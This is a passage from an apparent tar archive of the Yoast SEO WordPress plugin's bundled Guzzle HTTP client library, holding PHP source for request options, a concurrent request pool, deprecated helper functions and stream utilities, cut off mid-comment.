wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/RequestOptions.php000064400000025314147510273100022614 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

/**
 * This class contains a list of built-in Guzzle request options.
 *
 * @see https://docs.guzzlephp.org/en/latest/request-options.html
 */
final class RequestOptions
{
    /**
     * allow_redirects: (bool|array) Controls redirect behavior. Pass false
     * to disable redirects, pass true to enable redirects, pass an
     * associative to provide custom redirect settings. Defaults to "false".
     * This option only works if your handler has the RedirectMiddleware. When
     * passing an associative array, you can provide the following key value
     * pairs:
     *
     * - max: (int, default=5) maximum number of allowed redirects.
     * - strict: (bool, default=false) Set to true to use strict redirects
     *   meaning redirect POST requests with POST requests vs. doing what most
     *   browsers do which is redirect POST requests with GET requests
     * - referer: (bool, default=false) Set to true to enable the Referer
     *   header.
     * - protocols: (array, default=['http', 'https']) Allowed redirect
     *   protocols.
     * - on_redirect: (callable) PHP callable that is invoked when a redirect
     *   is encountered. The callable is invoked with the request, the redirect
     *   response that was received, and the effective URI. Any return value
     *   from the on_redirect function is ignored.
     */
    public const ALLOW_REDIRECTS = 'allow_redirects';
    /**
     * auth: (array) Pass an array of HTTP authentication parameters to use
     * with the request. The array must contain the username in index [0],
     * the password in index [1], and you can optionally provide a built-in
     * authentication type in index [2]. Pass null to disable authentication
     * for a request.
     */
    public const AUTH = 'auth';
    /**
     * body: (resource|string|null|int|float|StreamInterface|callable|\Iterator)
     * Body to send in the request.
     */
    public const BODY = 'body';
    /**
     * cert: (string|array) Set to a string to specify the path to a file
     * containing a PEM formatted SSL client side certificate. If a password
     * is required, then set cert to an array containing the path to the PEM
     * file in the first array element followed by the certificate password
     * in the second array element.
     */
    public const CERT = 'cert';
    /**
     * cookies: (bool|GuzzleHttp\Cookie\CookieJarInterface, default=false)
     * Specifies whether or not cookies are used in a request or what cookie
     * jar to use or what cookies to send. This option only works if your
     * handler has the `cookie` middleware. Valid values are `false` and
     * an instance of {@see \GuzzleHttp\Cookie\CookieJarInterface}.
     */
    public const COOKIES = 'cookies';
    /**
     * connect_timeout: (float, default=0) Float describing the number of
     * seconds to wait while trying to connect to a server. Use 0 to wait
     * 300 seconds (the default behavior).
     */
    public const CONNECT_TIMEOUT = 'connect_timeout';
    /**
     * crypto_method: (int) A value describing the minimum TLS protocol
     * version to use.
     *
     * This setting must be set to one of the
     * ``STREAM_CRYPTO_METHOD_TLS*_CLIENT`` constants. PHP 7.4 or higher is
     * required in order to use TLS 1.3, and cURL 7.34.0 or higher is required
     * in order to specify a crypto method, with cURL 7.52.0 or higher being
     * required to use TLS 1.3.
     */
    public const CRYPTO_METHOD = 'crypto_method';
    /**
     * debug: (bool|resource) Set to true or set to a PHP stream returned by
     * fopen()  enable debug output with the HTTP handler used to send a
     * request.
     */
    public const DEBUG = 'debug';
    /**
     * decode_content: (bool, default=true) Specify whether or not
     * Content-Encoding responses (gzip, deflate, etc.) are automatically
     * decoded.
     */
    public const DECODE_CONTENT = 'decode_content';
    /**
     * delay: (int) The amount of time to delay before sending in milliseconds.
     */
    public const DELAY = 'delay';
    /**
     * expect: (bool|integer) Controls the behavior of the
     * "Expect: 100-Continue" header.
     *
     * Set to `true` to enable the "Expect: 100-Continue" header for all
     * requests that sends a body. Set to `false` to disable the
     * "Expect: 100-Continue" header for all requests. Set to a number so that
     * the size of the payload must be greater than the number in order to send
     * the Expect header. Setting to a number will send the Expect header for
     * all requests in which the size of the payload cannot be determined or
     * where the body is not rewindable.
     *
     * By default, Guzzle will add the "Expect: 100-Continue" header when the
     * size of the body of a request is greater than 1 MB and a request is
     * using HTTP/1.1.
     */
    public const EXPECT = 'expect';
    /**
     * form_params: (array) Associative array of form field names to values
     * where each value is a string or array of strings. Sets the Content-Type
     * header to application/x-www-form-urlencoded when no Content-Type header
     * is already present.
     */
    public const FORM_PARAMS = 'form_params';
    /**
     * headers: (array) Associative array of HTTP headers. Each value MUST be
     * a string or array of strings.
     */
    public const HEADERS = 'headers';
    /**
     * http_errors: (bool, default=true) Set to false to disable exceptions
     * when a non- successful HTTP response is received. By default,
     * exceptions will be thrown for 4xx and 5xx responses. This option only
     * works if your handler has the `httpErrors` middleware.
     */
    public const HTTP_ERRORS = 'http_errors';
    /**
     * idn: (bool|int, default=true) A combination of IDNA_* constants for
     * idn_to_ascii() PHP's function (see "options" parameter). Set to false to
     * disable IDN support completely, or to true to use the default
     * configuration (IDNA_DEFAULT constant).
     */
    public const IDN_CONVERSION = 'idn_conversion';
    /**
     * json: (mixed) Adds JSON data to a request. The provided value is JSON
     * encoded and a Content-Type header of application/json will be added to
     * the request if no Content-Type header is already present.
     */
    public const JSON = 'json';
    /**
     * multipart: (array) Array of associative arrays, each containing a
     * required "name" key mapping to the form field, name, a required
     * "contents" key mapping to a StreamInterface|resource|string, an
     * optional "headers" associative array of custom headers, and an
     * optional "filename" key mapping to a string to send as the filename in
     * the part. If no "filename" key is present, then no "filename" attribute
     * will be added to the part.
     */
    public const MULTIPART = 'multipart';
    /**
     * on_headers: (callable) A callable that is invoked when the HTTP headers
     * of the response have been received but the body has not yet begun to
     * download.
     */
    public const ON_HEADERS = 'on_headers';
    /**
     * on_stats: (callable) allows you to get access to transfer statistics of
     * a request and access the lower level transfer details of the handler
     * associated with your client. ``on_stats`` is a callable that is invoked
     * when a handler has finished sending a request. The callback is invoked
     * with transfer statistics about the request, the response received, or
     * the error encountered. Included in the data is the total amount of time
     * taken to send the request.
     */
    public const ON_STATS = 'on_stats';
    /**
     * progress: (callable) Defines a function to invoke when transfer
     * progress is made. The function accepts the following positional
     * arguments: the total number of bytes expected to be downloaded, the
     * number of bytes downloaded so far, the number of bytes expected to be
     * uploaded, the number of bytes uploaded so far.
     */
    public const PROGRESS = 'progress';
    /**
     * proxy: (string|array) Pass a string to specify an HTTP proxy, or an
     * array to specify different proxies for different protocols (where the
     * key is the protocol and the value is a proxy string).
     */
    public const PROXY = 'proxy';
    /**
     * query: (array|string) Associative array of query string values to add
     * to the request. This option uses PHP's http_build_query() to create
     * the string representation. Pass a string value if you need more
     * control than what this method provides
     */
    public const QUERY = 'query';
    /**
     * sink: (resource|string|StreamInterface) Where the data of the
     * response is written to. Defaults to a PHP temp stream. Providing a
     * string will write data to a file by the given name.
     */
    public const SINK = 'sink';
    /**
     * synchronous: (bool) Set to true to inform HTTP handlers that you intend
     * on waiting on the response. This can be useful for optimizations. Note
     * that a promise is still returned if you are using one of the async
     * client methods.
     */
    public const SYNCHRONOUS = 'synchronous';
    /**
     * ssl_key: (array|string) Specify the path to a file containing a private
     * SSL key in PEM format. If a password is required, then set to an array
     * containing the path to the SSL key in the first array element followed
     * by the password required for the certificate in the second element.
     */
    public const SSL_KEY = 'ssl_key';
    /**
     * stream: Set to true to attempt to stream a response rather than
     * download it all up-front.
     */
    public const STREAM = 'stream';
    /**
     * verify: (bool|string, default=true) Describes the SSL certificate
     * verification behavior of a request. Set to true to enable SSL
     * certificate verification using the system CA bundle when available
     * (the default). Set to false to disable certificate verification (this
     * is insecure!). Set to a string to provide the path to a CA bundle on
     * disk to enable verification using a custom certificate.
     */
    public const VERIFY = 'verify';
    /**
     * timeout: (float, default=0) Float describing the timeout of the
     * request in seconds. Use 0 to wait indefinitely (the default behavior).
     */
    public const TIMEOUT = 'timeout';
    /**
     * read_timeout: (float, default=default_socket_timeout ini setting) Float describing
     * the body read timeout, for stream requests.
     */
    public const READ_TIMEOUT = 'read_timeout';
    /**
     * version: (float) Specifies the HTTP protocol version to attempt to use.
     */
    public const VERSION = 'version';
    /**
     * force_ip_resolve: (bool) Force client to use only ipv4 or ipv6 protocol
     */
    public const FORCE_IP_RESOLVE = 'force_ip_resolve';
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Pool.php000064400000011665147510273100020525 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\GuzzleHttp\Promise as P;
use YoastSEO_Vendor\GuzzleHttp\Promise\EachPromise;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromisorInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
/**
 * Sends an iterator of requests concurrently using a capped pool size.
 *
 * The pool will read from an iterator until it is cancelled or until the
 * iterator is consumed. When a request is yielded, the request is sent after
 * applying the "request_options" request options (if provided in the ctor).
 *
 * When a function is yielded by the iterator, the function is provided the
 * "request_options" array that should be merged on top of any existing
 * options, and the function MUST then return a wait-able promise.
 *
 * @final
 */
class Pool implements \YoastSEO_Vendor\GuzzleHttp\Promise\PromisorInterface
{
    /**
     * @var EachPromise
     */
    private $each;
    /**
     * @param ClientInterface $client   Client used to send the requests.
     * @param array|\Iterator $requests Requests or functions that return
     *                                  requests to send concurrently.
     * @param array           $config   Associative array of options
     *                                  - concurrency: (int) Maximum number of requests to send concurrently
     *                                  - options: Array of request options to apply to each request.
     *                                  - fulfilled: (callable) Function to invoke when a request completes.
     *                                  - rejected: (callable) Function to invoke when a request is rejected.
     */
    public function __construct(\YoastSEO_Vendor\GuzzleHttp\ClientInterface $client, $requests, array $config = [])
    {
        if (!isset($config['concurrency'])) {
            $config['concurrency'] = 25;
        }
        if (isset($config['options'])) {
            $opts = $config['options'];
            unset($config['options']);
        } else {
            $opts = [];
        }
        $iterable = \YoastSEO_Vendor\GuzzleHttp\Promise\Create::iterFor($requests);
        $requests = static function () use($iterable, $client, $opts) {
            foreach ($iterable as $key => $rfn) {
                if ($rfn instanceof \YoastSEO_Vendor\Psr\Http\Message\RequestInterface) {
                    (yield $key => $client->sendAsync($rfn, $opts));
                } elseif (\is_callable($rfn)) {
                    (yield $key => $rfn($opts));
                } else {
                    throw new \InvalidArgumentException('Each value yielded by the iterator must be a Psr7\\Http\\Message\\RequestInterface or a callable that returns a promise that fulfills with a Psr7\\Message\\Http\\ResponseInterface object.');
                }
            }
        };
        $this->each = new \YoastSEO_Vendor\GuzzleHttp\Promise\EachPromise($requests(), $config);
    }
    /**
     * Get promise
     */
    public function promise() : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return $this->each->promise();
    }
    /**
     * Sends multiple requests concurrently and returns an array of responses
     * and exceptions that uses the same ordering as the provided requests.
     *
     * IMPORTANT: This method keeps every request and response in memory, and
     * as such, is NOT recommended when sending a large number or an
     * indeterminate number of requests concurrently.
     *
     * @param ClientInterface $client   Client used to send the requests
     * @param array|\Iterator $requests Requests to send concurrently.
     * @param array           $options  Passes through the options available in
     *                                  {@see \GuzzleHttp\Pool::__construct}
     *
     * @return array Returns an array containing the response or an exception
     *               in the same order that the requests were sent.
     *
     * @throws \InvalidArgumentException if the event format is incorrect.
     */
    public static function batch(\YoastSEO_Vendor\GuzzleHttp\ClientInterface $client, $requests, array $options = []) : array
    {
        $res = [];
        self::cmpCallback($options, 'fulfilled', $res);
        self::cmpCallback($options, 'rejected', $res);
        $pool = new static($client, $requests, $options);
        $pool->promise()->wait();
        \ksort($res);
        return $res;
    }
    /**
     * Execute callback(s)
     */
    private static function cmpCallback(array &$options, string $name, array &$results) : void
    {
        if (!isset($options[$name])) {
            $options[$name] = static function ($v, $k) use(&$results) {
                $results[$k] = $v;
            };
        } else {
            $currentFn = $options[$name];
            $options[$name] = static function ($v, $k) use(&$results, $currentFn) {
                $currentFn($v, $k);
                $results[$k] = $v;
            };
        }
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/functions.php000064400000013540147510273100021616 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

/**
 * Debug function used to describe the provided value type and class.
 *
 * @param mixed $input Any type of variable to describe the type of. This
 *                     parameter misses a typehint because of that.
 *
 * @return string Returns a string containing the type of the variable and
 *                if a class is provided, the class name.
 *
 * @deprecated describe_type will be removed in guzzlehttp/guzzle:8.0. Use Utils::describeType instead.
 */
function describe_type($input) : string
{
    return \YoastSEO_Vendor\GuzzleHttp\Utils::describeType($input);
}
/**
 * Parses an array of header lines into an associative array of headers.
 *
 * @param iterable $lines Header lines array of strings in the following
 *                        format: "Name: Value"
 *
 * @deprecated headers_from_lines will be removed in guzzlehttp/guzzle:8.0. Use Utils::headersFromLines instead.
 */
function headers_from_lines(iterable $lines) : array
{
    return \YoastSEO_Vendor\GuzzleHttp\Utils::headersFromLines($lines);
}
/**
 * Returns a debug stream based on the provided variable.
 *
 * @param mixed $value Optional value
 *
 * @return resource
 *
 * @deprecated debug_resource will be removed in guzzlehttp/guzzle:8.0. Use Utils::debugResource instead.
 */
function debug_resource($value = null)
{
    return \YoastSEO_Vendor\GuzzleHttp\Utils::debugResource($value);
}
/**
 * Chooses and creates a default handler to use based on the environment.
 *
 * The returned handler is not wrapped by any default middlewares.
 *
 * @return callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface Returns the best handler for the given system.
 *
 * @throws \RuntimeException if no viable Handler is available.
 *
 * @deprecated choose_handler will be removed in guzzlehttp/guzzle:8.0. Use Utils::chooseHandler instead.
 */
function choose_handler() : callable
{
    return \YoastSEO_Vendor\GuzzleHttp\Utils::chooseHandler();
}
/**
 * Get the default User-Agent string to use with Guzzle.
 *
 * @deprecated default_user_agent will be removed in guzzlehttp/guzzle:8.0. Use Utils::defaultUserAgent instead.
 */
function default_user_agent() : string
{
    return \YoastSEO_Vendor\GuzzleHttp\Utils::defaultUserAgent();
}
/**
 * Returns the default cacert bundle for the current system.
 *
 * First, the openssl.cafile and curl.cainfo php.ini settings are checked.
 * If those settings are not configured, then the common locations for
 * bundles found on Red Hat, CentOS, Fedora, Ubuntu, Debian, FreeBSD, OS X
 * and Windows are checked. If any of these file locations are found on
 * disk, they will be utilized.
 *
 * Note: the result of this function is cached for subsequent calls.
 *
 * @throws \RuntimeException if no bundle can be found.
 *
 * @deprecated default_ca_bundle will be removed in guzzlehttp/guzzle:8.0. This function is not needed in PHP 5.6+.
 */
function default_ca_bundle() : string
{
    return \YoastSEO_Vendor\GuzzleHttp\Utils::defaultCaBundle();
}
/**
 * Creates an associative array of lowercase header names to the actual
 * header casing.
 *
 * @deprecated normalize_header_keys will be removed in guzzlehttp/guzzle:8.0. Use Utils::normalizeHeaderKeys instead.
 */
function normalize_header_keys(array $headers) : array
{
    return \YoastSEO_Vendor\GuzzleHttp\Utils::normalizeHeaderKeys($headers);
}
/**
 * Returns true if the provided host matches any of the no proxy areas.
 *
 * This method will strip a port from the host if it is present. Each pattern
 * can be matched with an exact match (e.g., "foo.com" == "foo.com") or a
 * partial match: (e.g., "foo.com" == "baz.foo.com" and ".foo.com" ==
 * "baz.foo.com", but ".foo.com" != "foo.com").
 *
 * Areas are matched in the following cases:
 * 1. "*" (without quotes) always matches any hosts.
 * 2. An exact match.
 * 3. The area starts with "." and the area is the last part of the host. e.g.
 *    '.mit.edu' will match any host that ends with '.mit.edu'.
 *
 * @param string   $host         Host to check against the patterns.
 * @param string[] $noProxyArray An array of host patterns.
 *
 * @throws Exception\InvalidArgumentException
 *
 * @deprecated is_host_in_noproxy will be removed in guzzlehttp/guzzle:8.0. Use Utils::isHostInNoProxy instead.
 */
function is_host_in_noproxy(string $host, array $noProxyArray) : bool
{
    return \YoastSEO_Vendor\GuzzleHttp\Utils::isHostInNoProxy($host, $noProxyArray);
}
/**
 * Wrapper for json_decode that throws when an error occurs.
 *
 * @param string $json    JSON data to parse
 * @param bool   $assoc   When true, returned objects will be converted
 *                        into associative arrays.
 * @param int    $depth   User specified recursion depth.
 * @param int    $options Bitmask of JSON decode options.
 *
 * @return object|array|string|int|float|bool|null
 *
 * @throws Exception\InvalidArgumentException if the JSON cannot be decoded.
 *
 * @see https://www.php.net/manual/en/function.json-decode.php
 * @deprecated json_decode will be removed in guzzlehttp/guzzle:8.0. Use Utils::jsonDecode instead.
 */
function json_decode(string $json, bool $assoc = \false, int $depth = 512, int $options = 0)
{
    return \YoastSEO_Vendor\GuzzleHttp\Utils::jsonDecode($json, $assoc, $depth, $options);
}
/**
 * Wrapper for JSON encoding that throws when an error occurs.
 *
 * @param mixed $value   The value being encoded
 * @param int   $options JSON encode option bitmask
 * @param int   $depth   Set the maximum depth. Must be greater than zero.
 *
 * @throws Exception\InvalidArgumentException if the JSON cannot be encoded.
 *
 * @see https://www.php.net/manual/en/function.json-encode.php
 * @deprecated json_encode will be removed in guzzlehttp/guzzle:8.0. Use Utils::jsonEncode instead.
 */
function json_encode($value, int $options = 0, int $depth = 512) : string
{
    return \YoastSEO_Vendor\GuzzleHttp\Utils::jsonEncode($value, $options, $depth);
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/BodySummarizer.php000064400000001333147510273100022557 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
final class BodySummarizer implements \YoastSEO_Vendor\GuzzleHttp\BodySummarizerInterface
{
    /**
     * @var int|null
     */
    private $truncateAt;
    public function __construct(int $truncateAt = null)
    {
        $this->truncateAt = $truncateAt;
    }
    /**
     * Returns a summarized message body.
     */
    public function summarize(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message) : ?string
    {
        return $this->truncateAt === null ? \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::bodySummary($message) : \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::bodySummary($message, $this->truncateAt);
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/MessageFormatterInterface.php000064400000001243147510273100024674 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
interface MessageFormatterInterface
{
    /**
     * Returns a formatted message string.
     *
     * @param RequestInterface       $request  Request that was sent
     * @param ResponseInterface|null $response Response that was received
     * @param \Throwable|null        $error    Exception that was received
     */
    public function format(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response = null, \Throwable $error = null) : string;
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/ClientInterface.php000064400000006202147510273100022642 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\GuzzleHttp\Exception\GuzzleException;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * Client interface for sending HTTP requests.
 */
interface ClientInterface
{
    /**
     * The Guzzle major version.
     */
    public const MAJOR_VERSION = 7;
    /**
     * Send an HTTP request.
     *
     * @param RequestInterface $request Request to send
     * @param array            $options Request options to apply to the given
     *                                  request and to the transfer.
     *
     * @throws GuzzleException
     */
    public function send(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
    /**
     * Asynchronously send an HTTP request.
     *
     * @param RequestInterface $request Request to send
     * @param array            $options Request options to apply to the given
     *                                  request and to the transfer.
     */
    public function sendAsync(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
    /**
     * Create and send an HTTP request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string              $method  HTTP method.
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function request(string $method, $uri, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
    /**
     * Create and send an asynchronous HTTP request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string              $method  HTTP method
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function requestAsync(string $method, $uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
    /**
     * Get a client configuration option.
     *
     * These options include default request options of the client, a "handler"
     * (if utilized by the concrete client), and a "base_uri" if utilized by
     * the concrete client.
     *
     * @param string|null $option The config option to retrieve.
     *
     * @return mixed
     *
     * @deprecated ClientInterface::getConfig will be removed in guzzlehttp/guzzle:8.0.
     */
    public function getConfig(string $option = null);
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/Utils.php000064400000036735147510273100020274 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
final class Utils
{
    /**
     * Remove the items given by the keys, case insensitively from the data.
     *
     * @param (string|int)[] $keys
     */
    public static function caselessRemove(array $keys, array $data) : array
    {
        $result = [];
        foreach ($keys as &$key) {
            $key = \strtolower((string) $key);
        }
        foreach ($data as $k => $v) {
            if (!\in_array(\strtolower((string) $k), $keys)) {
                $result[$k] = $v;
            }
        }
        return $result;
    }
    /**
     * Copy the contents of a stream into another stream until the given number
     * of bytes have been read.
     *
     * @param StreamInterface $source Stream to read from
     * @param StreamInterface $dest   Stream to write to
     * @param int             $maxLen Maximum number of bytes to read. Pass -1
     *                                to read the entire stream.
     *
     * @throws \RuntimeException on error.
     */
    public static function copyToStream(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $source, \YoastSEO_Vendor\Psr\Http\Message\StreamInterface $dest, int $maxLen = -1) : void
    {
        $bufferSize = 8192;
        if ($maxLen === -1) {
            while (!$source->eof()) {
                if (!$dest->write($source->read($bufferSize))) {
                    break;
                }
            }
        } else {
            $remaining = $maxLen;
            while ($remaining > 0 && !$source->eof()) {
                $buf = $source->read(\min($bufferSize, $remaining));
                $len = \strlen($buf);
                if (!$len) {
                    break;
                }
                $remaining -= $len;
                $dest->write($buf);
            }
        }
    }
    /**
     * Copy the contents of a stream into a string until the given number of
     * bytes have been read.
     *
     * @param StreamInterface $stream Stream to read
     * @param int             $maxLen Maximum number of bytes to read. Pass -1
     *                                to read the entire stream.
     *
     * @throws \RuntimeException on error.
     */
    public static function copyToString(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, int $maxLen = -1) : string
    {
        $buffer = '';
        if ($maxLen === -1) {
            while (!$stream->eof()) {
                $buf = $stream->read(1048576);
                if ($buf === '') {
                    break;
                }
                $buffer .= $buf;
            }
            return $buffer;
        }
        $len = 0;
        while (!$stream->eof() && $len < $maxLen) {
            $buf = $stream->read($maxLen - $len);
            if ($buf === '') {
                break;
            }
            $buffer .= $buf;
            $len = \strlen($buffer);
        }
        return $buffer;
    }
    /**
     * Calculate a hash of a stream.
     *
     * This method reads the entire stream to calculate a rolling hash, based
     * on PHP's `hash_init` functions.
     *
     * @param StreamInterface $stream    Stream to calculate the hash for
     * @param string          $algo      Hash algorithm (e.g. md5, crc32, etc)
     * @param bool            $rawOutput Whether or not to use raw output
     *
     * @throws \RuntimeException on error.
     */
    public static function hash(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, string $algo, bool $rawOutput = \false) : string
    {
        $pos = $stream->tell();
        if ($pos > 0) {
            $stream->rewind();
        }
        $ctx = \hash_init($algo);
        while (!$stream->eof()) {
            \hash_update($ctx, $stream->read(1048576));
        }
        $out = \hash_final($ctx, $rawOutput);
        $stream->seek($pos);
        return $out;
    }
    /**
     * Clone and modify a request with the given changes.
     *
     * This method is useful for reducing the number of clones needed to mutate
     * a message.
     *
     * The changes can be one of:
     * - method: (string) Changes the HTTP method.
     * - set_headers: (array) Sets the given headers.
     * - remove_headers: (array) Remove the given headers.
     * - body: (mixed) Sets the given body.
     * - uri: (UriInterface) Set the URI.
     * - query: (string) Set the query string value of the URI.
     * - version: (string) Set the protocol version.
     *
     * @param RequestInterface $request Request to clone and modify.
     * @param array            $changes Changes to apply.
     */
    public static function modifyRequest(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $changes) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
    {
        if (!$changes) {
            return $request;
        }
        $headers = $request->getHeaders();
        if (!isset($changes['uri'])) {
            $uri = $request->getUri();
        } else {
            // Remove the host header if one is on the URI
            if ($host = $changes['uri']->getHost()) {
                $changes['set_headers']['Host'] = $host;
                if ($port = $changes['uri']->getPort()) {
                    $standardPorts = ['http' => 80, 'https' => 443];
                    $scheme = $changes['uri']->getScheme();
                    if (isset($standardPorts[$scheme]) && $port != $standardPorts[$scheme]) {
                        $changes['set_headers']['Host'] .= ':' . $port;
                    }
                }
            }
            $uri = $changes['uri'];
        }
        if (!empty($changes['remove_headers'])) {
            $headers = self::caselessRemove($changes['remove_headers'], $headers);
        }
        if (!empty($changes['set_headers'])) {
            $headers = self::caselessRemove(\array_keys($changes['set_headers']), $headers);
            $headers = $changes['set_headers'] + $headers;
        }
        if (isset($changes['query'])) {
            $uri = $uri->withQuery($changes['query']);
        }
        if ($request instanceof \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface) {
            $new = (new \YoastSEO_Vendor\GuzzleHttp\Psr7\ServerRequest($changes['method'] ?? $request->getMethod(), $uri, $headers, $changes['body'] ?? $request->getBody(), $changes['version'] ?? $request->getProtocolVersion(), $request->getServerParams()))->withParsedBody($request->getParsedBody())->withQueryParams($request->getQueryParams())->withCookieParams($request->getCookieParams())->withUploadedFiles($request->getUploadedFiles());
            foreach ($request->getAttributes() as $key => $value) {
                $new = $new->withAttribute($key, $value);
            }
            return $new;
        }
        return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Request($changes['method'] ?? $request->getMethod(), $uri, $headers, $changes['body'] ?? $request->getBody(), $changes['version'] ?? $request->getProtocolVersion());
    }
    /**
     * Read a line from the stream up to the maximum allowed buffer length.
     *
     * @param StreamInterface $stream    Stream to read from
     * @param int|null        $maxLength Maximum buffer length
     */
    public static function readLine(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, int $maxLength = null) : string
    {
        $buffer = '';
        $size = 0;
        while (!$stream->eof()) {
            if ('' === ($byte = $stream->read(1))) {
                return $buffer;
            }
            $buffer .= $byte;
            // Break when a new line is found or the max length - 1 is reached
            if ($byte === "\n" || ++$size === $maxLength - 1) {
                break;
            }
        }
        return $buffer;
    }
    /**
     * Create a new stream based on the input type.
     *
     * Options is an associative array that can contain the following keys:
     * - metadata: Array of custom metadata.
     * - size: Size of the stream.
     *
     * This method accepts the following `$resource` types:
     * - `Psr\Http\Message\StreamInterface`: Returns the value as-is.
     * - `string`: Creates a stream object that uses the given string as the contents.
     * - `resource`: Creates a stream object that wraps the given PHP stream resource.
     * - `Iterator`: If the provided value implements `Iterator`, then a read-only
     *   stream object will be created that wraps the given iterable. Each time the
     *   stream is read from, data from the iterator will fill a buffer and will be
     *   continuously called until the buffer is equal to the requested read size.
     *   Subsequent read calls will first read from the buffer and then call `next`
     *   on the underlying iterator until it is exhausted.
     * - `object` with `__toString()`: If the object has the `__toString()` method,
     *   the object will be cast to a string and then a stream will be returned that
     *   uses the string value.
     * - `NULL`: When `null` is passed, an empty stream object is returned.
     * - `callable` When a callable is passed, a read-only stream object will be
     *   created that invokes the given callable. The callable is invoked with the
     *   number of suggested bytes to read. The callable can return any number of
     *   bytes, but MUST return `false` when there is no more data to return. The
     *   stream object that wraps the callable will invoke the callable until the
     *   number of requested bytes are available. Any additional bytes will be
     *   buffered and used in subsequent reads.
     *
     * @param resource|string|int|float|bool|StreamInterface|callable|\Iterator|null $resource Entity body data
     * @param array{size?: int, metadata?: array}                                    $options  Additional options
     *
     * @throws \InvalidArgumentException if the $resource arg is not valid.
     */
    public static function streamFor($resource = '', array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
    {
        if (\is_scalar($resource)) {
            $stream = self::tryFopen('php://temp', 'r+');
            if ($resource !== '') {
                \fwrite($stream, (string) $resource);
                \fseek($stream, 0);
            }
            return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream($stream, $options);
        }
        switch (\gettype($resource)) {
            case 'resource':
                /*
                 * The 'php://input' is a special stream with quirks and inconsistencies.
                 * We avoid using that stream by reading it into php://temp
                 */
                /** @var resource $resource */
                if ((\stream_get_meta_data($resource)['uri'] ?? '') === 'php://input') {
                    $stream = self::tryFopen('php://temp', 'w+');
                    \stream_copy_to_stream($resource, $stream);
                    \fseek($stream, 0);
                    $resource = $stream;
                }
                return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream($resource, $options);
            case 'object':
                /** @var object $resource */
                if ($resource instanceof \YoastSEO_Vendor\Psr\Http\Message\StreamInterface) {
                    return $resource;
                } elseif ($resource instanceof \Iterator) {
                    return new \YoastSEO_Vendor\GuzzleHttp\Psr7\PumpStream(function () use($resource) {
                        if (!$resource->valid()) {
                            return \false;
                        }
                        $result = $resource->current();
                        $resource->next();
                        return $result;
                    }, $options);
                } elseif (\method_exists($resource, '__toString')) {
                    return self::streamFor((string) $resource, $options);
                }
                break;
            case 'NULL':
                return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream(self::tryFopen('php://temp', 'r+'), $options);
        }
        if (\is_callable($resource)) {
            return new \YoastSEO_Vendor\GuzzleHttp\Psr7\PumpStream($resource, $options);
        }
        throw new \InvalidArgumentException('Invalid resource type: ' . \gettype($resource));
    }
    /**
     * Safely opens a PHP stream resource using a filename.
     *
     * When fopen fails, PHP normally raises a warning. This function adds an
